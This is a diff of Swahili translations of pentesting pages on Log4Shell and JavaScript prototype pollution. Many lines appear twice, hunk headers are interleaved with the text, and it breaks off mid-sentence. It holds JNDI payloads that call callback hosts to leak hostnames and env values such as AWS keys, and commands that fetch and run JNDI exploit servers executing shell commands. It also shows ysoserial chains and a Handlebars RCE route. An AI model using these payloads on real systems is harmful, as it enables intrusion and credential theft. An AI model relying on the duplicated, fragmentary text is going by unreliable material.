Kwanza ilikadiria chini lakini baadaye ikapandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa chaguo-msingi, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa chaguo-msingi.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa default ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.
Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa chaguo-msingi ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
@ -111,7 +111,7 @@ Udhaifu huu unaathiri **mfumo wa kurekodi wa Logback**, mrithi wa Log4j 1.x. Awa
### **CVE-2021-45105** **\[High]**
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanaweza kupatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
@ -121,7 +121,7 @@ Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili
### Discovery
Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau **ombwe la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
- `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (ukitumia [canarytokens.com](https://canarytokens.org/generate))
- `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (ukitumia [interactsh](https://github.com/projectdiscovery/interactsh))
@ -129,14 +129,14 @@ Udhaifu huu ni rahisi sana kugundua ikiwa haujalindwa kwa sababu utatuma angalau
- `${jndi:ldap://2j4ayo.dnslog.cn}` (ukitumia [dnslog](http://dnslog.cn))
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ukitumia (ukitumia [huntress](https://log4shell.huntress.com))
Kumbuka kuwa **hata kama ombwe la DNS linapokelewa hiyo haimaanishi programu hiyo inaweza kutumika vibaya** (au hata kuwa na udhaifu), itabidi ujaribu kuishambulia.
Kumbuka kuwa **hata kama ombio la DNS linapokelewa hilo halimaanishi kuwa programu inaweza kutumika vibaya** (au hata kuwa hatarini), itabidi ujaribu kuishambulia.
> [!NOTE]
> Kumbuka kuwa ili **ku exploit toleo 2.15** unahitaji kuongeza **bypass ya ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
#### **Local Discovery**
Tafuta **matoleo ya ndani yenye udhaifu** ya maktaba kwa:
Tafuta **matoleo ya ndani ya maktaba yaliyo hatarini** kwa:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
@ -149,9 +149,9 @@ Hii inaweza kuwa na manufaa sana kwa mambo 2:
- Ili **kuchota taarifa** kwa kutumia udhaifu
Kwa mfano unaweza kuomba kitu kama:\
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya env**, unajua programu hiyo ina udhaifu.
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya mazingira**, unajua programu hiyo ina udhaifu.
Taarifa nyingine unazoweza kujaribu **kuvuja**:
Taarifa nyingine unayoweza kujaribu **kuchota**:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -246,7 +246,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
>
> Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza.
Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo na udhaifu wa log4shell** kwenye bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Programu hii iliyo na udhaifu inarekodi kwa toleo lenye udhaifu la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.
Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo na udhaifu wa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Programu hii iliyo na udhaifu inarekodi kwa toleo lenye udhaifu la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.
Kisha, unaweza kupakua faili ya **JNDIExploit** jar na kuitekeleza kwa:
```bash
@ -254,7 +254,7 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakuwa na uwezo wa kuelewa ni payload gani inahitaji kutolewa na itamwelekeza mwathirika kwa seva ya HTTP, ambayo itatoa exploit.\
Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakuwa na uwezo wa kuelewa ni payload ipi inapaswa kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit.\
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yatakuwa **yanazalisha exploits**.
Unaweza kuona exploits zote zinazopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya zile muhimu ni:
@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutokana na darasa lililoaminika ili kutekeleza msimbo wa kiholela._
_Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutoka kwa darasa lililoaminika ili kutekeleza msimbo wa kawaida._
### RCE - JNDI-Injection-Exploit-Plus
@ -296,7 +296,7 @@ _Huenda shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida likafa
### RCE - ysoserial & JNDI-Exploit-Kit
Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kiholela** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).
Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kawaida** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
```bash
@ -347,13 +347,13 @@ Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-202
Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:
> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa default. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **tu nyuzi za kutafuta katika usanidi zinaongezwa kwa njia ya kurudi**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linaweza kutatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwa.
> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **tu nyuzi za kutafuta katika usanidi zinaongezwa kwa njia ya kurudiarudia**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linaweza kutatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwa.
Hii ina maana kwamba kwa chaguo-msingi unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudi** unahitaji kuwa na hizo zimewekwa.
Hii inamaanisha kwamba kwa default unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudiarudia** unahitaji kuwa na hizo zimewekwa.
Kwa mfano, katika CTF hiyo hii ilipangwa katika faili log4j2.xml:
Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
@ -367,7 +367,7 @@ Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-n
### Exfiltration in Exceptions
Katika CTF, **hukuweza kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
Katika CTF, huwezi **kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
![](<../../images/image (1023).png>)
@ -385,8 +385,8 @@ Hata hivyo, inawezekana kutumia **patterns za uongofu ambazo zinasaidia regexes*
- **Binary search kupitia ujumbe wa makosa**
Pattern ya uongofu **`%replace`** inaweza kutumika kubadilisha **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
Kwa kutumia tabia hii unaweza kufanya kubadilisha **kuanzisha kosa ikiwa regex ilikubaliana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama hii:
Pattern ya uongofu **`%replace`** inaweza kutumika **kuchukua nafasi** ya **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuanzishe kosa ikiwa regex itakutana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa hakupatikana) kama ifuatavyo:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*

View File

@ -4,14 +4,14 @@
## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.
Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia `Object.create` na `null` kama hoja ili kuzalisha kitu kisicho na kitu chochote kilichorithiwa. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
```
Kitu kisichokuwa na kitu ni sawa na kamusi isiyo na kitu, inawakilishwa kama `{}`.
Kitu kisichokuwa na kitu ni sawa na kamusi tupu, kinachowakilishwa kama `{}`.
### Functions and Classes in JavaScript
### Kazi na Madarasa katika JavaScript
Katika JavaScript, madarasa na kazi zinahusiana kwa karibu, ambapo kazi mara nyingi hutumikia kama wajenzi wa madarasa. Licha ya ukosefu wa msaada wa asili wa darasa katika JavaScript, wajenzi wanaweza kuiga tabia ya darasa.
```javascript
@ -33,7 +33,7 @@ employee1.__proto__
```
### Prototypes katika JavaScript
JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utekelezaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.
JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utendaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.
Mifunction kama `toString` na `valueOf` inaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.
@ -78,7 +78,7 @@ console.log(car1.isVehicle) // Outputs true
```
## prototype pollution
Katika hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:
Kwa hali ambapo matumizi ya `__proto__` yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:
```javascript
function Vehicle(model) {
this.model = model
@ -100,7 +100,7 @@ car1.constructor.prototype.isElectric = true
```
Hii inahusisha tu vitu vilivyoundwa kutoka kwa `Vehicle` constructor, ikiwapa mali za `beep`, `hasWheels`, `honk`, na `isElectric`.
Njia mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na:
Mbinu mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na:
1. Kuathiri moja kwa moja `Object.prototype`:
```javascript
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### Uchafuzi wa vipengele vya array
Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia **kuchafua thamani za array** zinazopatikana **kwa viashiria** (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijandikwa).
Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia **kuchafua thamani za array** zinazopatikana **kwa viashiria** (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijaandikwa).
```javascript
c = [1, 2]
a = []
@ -156,7 +156,7 @@ c[1] // 2 -- not
```
### Uharibifu wa vipengele vya Html
Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana **kufuta** sifa ya **`innerHTML`** ili kufanya iweze kuandika **kanuni za HTML zisizo na mipaka.** [Wazo na mfano kutoka kwa andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana **kufuta** sifa ya **`innerHTML`** ili kufanya iweze kuandika **kanuni za HTML zisizo na mpangilio.** [Wazo na mfano kutoka kwa andiko hili](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -183,11 +183,11 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Mechanism hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti wa ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.
Mekanismu nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulasi hii kwa kawaida inahusisha kuweka mali ya `__proto__`, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.
Masharti ambayo shambulio hili linaweza kufanywa kwa mafanikio, kama ilivyoelezwa katika [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na:
Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) maalum, ni pamoja na:
- Kufanya muunganiko wa kurudi.
- Kufanya muungano wa kurudi.
- Kuweka mali kulingana na njia.
- Kutoa vitu.
@ -232,24 +232,24 @@ Uthibitisho huu, ulioainishwa kama CVE-201911358, unaonyesha jinsi nakala ya
### Zana za kugundua Uchafuzi wa Prototype
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa na uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa kuskania maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika [uchafuzi wa prototype upande wa seva](https://portswigger.net/research/server-side-prototype-pollution).
### Uchafuzi wa Prototype wa AST katika NodeJS
NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Kiholela (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug.
NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Abstrakti (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug.
#### Uchambuzi wa Uthibitisho wa Handlebars
Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inakusanya `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inaunganisha `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo.
**Mchakato wa Utekelezaji**
Utekelezaji unatumia AST (Abstract Syntax Tree) inayozalishwa na Handlebars, ikifuatia hatua hizi:
Utekelezaji unatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi:
1. **Manipulation of the Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingizwa kwa nyuzi zisizo za nambari.
2. **Handling by the Compiler**: Mkompila anaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumiwa.
3. **Injection of Code**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.
1. **Manipulation of the Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingiza nyuzi zisizo za nambari.
2. **Handling by the Compiler**: Mkompila anaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika.
3. **Injection of Code**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wa bahati mbaya katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.
Mfano unaoonyesha utekelezaji wa udhaifu wa Handlebars:
```javascript
@ -342,17 +342,5 @@ Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chi
4. **Vitu Visivyo na Prototype**: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia `Object.create(null)`.
5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kuhifadhi jozi za funguo-thamani.
6. **Sasisho za Maktaba**: Vidokezo vya usalama vinaweza kuingizwa kwa kusasisha maktaba mara kwa mara.
7. **Zana za Linter na Uchambuzi wa Kimuundo**: Tumia zana kama ESLint pamoja na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya kanuni ili kubaini na kurekebisha hatari zinazoweza kutokea zinazohusiana na uchafuzi wa prototype.
9. **Mafunzo ya Usalama**: Wafundishe waendelezaji kuhusu hatari za uchafuzi wa prototype na mbinu bora za kuandika kanuni salama.
10. **Kutumia Maktaba kwa Uangalifu**: Kuwa makini unapokuwa ukitumia maktaba za upande wa tatu. Kadiria hali yao ya usalama na pitia kanuni zao, hasa zile zinazoshughulikia vitu.
11. **Ulinzi wa Wakati wa Uendeshaji**: Tumia mitambo ya ulinzi wa wakati wa uendeshaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa prototype.
## Marejeleo
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
{{#include ../../../banners/hacktricks-training.md}}
7. **Zana za Linter na Uchambuzi wa Kijamii**: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Kugundua kwa kutumia Zana za Moja kwa Moja
## Kugundua kwa kutumia Zana za Kiotomatiki
Zana [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **na** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) zinaweza kutumika **kupata udhaifu wa uchafuzi wa prototype**.
Zaidi ya hayo, unaweza pia kutumia **nyongeza ya kivinjari** [**PPScan**](https://github.com/msrkp/PPScan) ili **kuangalia** **kiotomatiki** **kurasa** unazofikia kwa udhaifu wa uchafuzi wa prototype.
Zaidi ya hayo, unaweza pia kutumia **nyongeza ya kivinjari** [**PPScan**](https://github.com/msrkp/PPScan) **ku** **scan** **kiotomatiki** **kurasa** unazofikia kwa udhaifu wa uchafuzi wa prototype.
### Kurekebisha mahali ambapo mali inatumika <a href="#id-5530" id="id-5530"></a>
```javascript
@ -23,7 +23,7 @@ return "test"
Mara tu udhaifu wa prototype pollution unapogundulika na zana yoyote, na ikiwa msimbo si mgumu kupita kiasi, unaweza kupata udhaifu kwa kutafuta maneno muhimu kama `location.hash`, `decodeURIComponent`, au `location.search` katika Chrome Developer Tools. Njia hii inakuwezesha kubaini sehemu iliyo hatarini ya msimbo wa JavaScript.
Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo hatarini inajumuisha hatua zifuatazo:
Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo ulio hatarini inajumuisha hatua zifuatazo:
1. Tumia zana kubaini udhaifu na kupata payload iliyoundwa kuweka mali katika mjenzi. Mfano uliopewa na ppmap unaweza kuonekana kama: `constructor[prototype][ppmap]=reserved`.
2. Weka breakpoint kwenye mstari wa kwanza wa msimbo wa JavaScript utakaotekelezwa kwenye ukurasa. Fanya upya ukurasa na payload, ukisimamisha utekelezaji kwenye breakpoint hii.
@ -48,7 +48,7 @@ debugAccess(Object.prototype, "ppmap")
```
4. Rudi kwenye tab ya **Sources** na uchague "Resume script execution". JavaScript itaendelea kutekelezwa, na mali ya 'ppmap' itachafuka kama inavyotarajiwa. Kutumia kipande kilichotolewa husaidia kutambua mahali halisi ambapo mali ya 'ppmap' inachafuka. Kwa kuchunguza **Call Stack**, stacks tofauti ambapo uchafuzi ulitokea zinaweza kuonekana.
Unapofanya maamuzi kuhusu stack ipi ya kuchunguza, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari 4 na 6, chaguo la mantiki ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini.
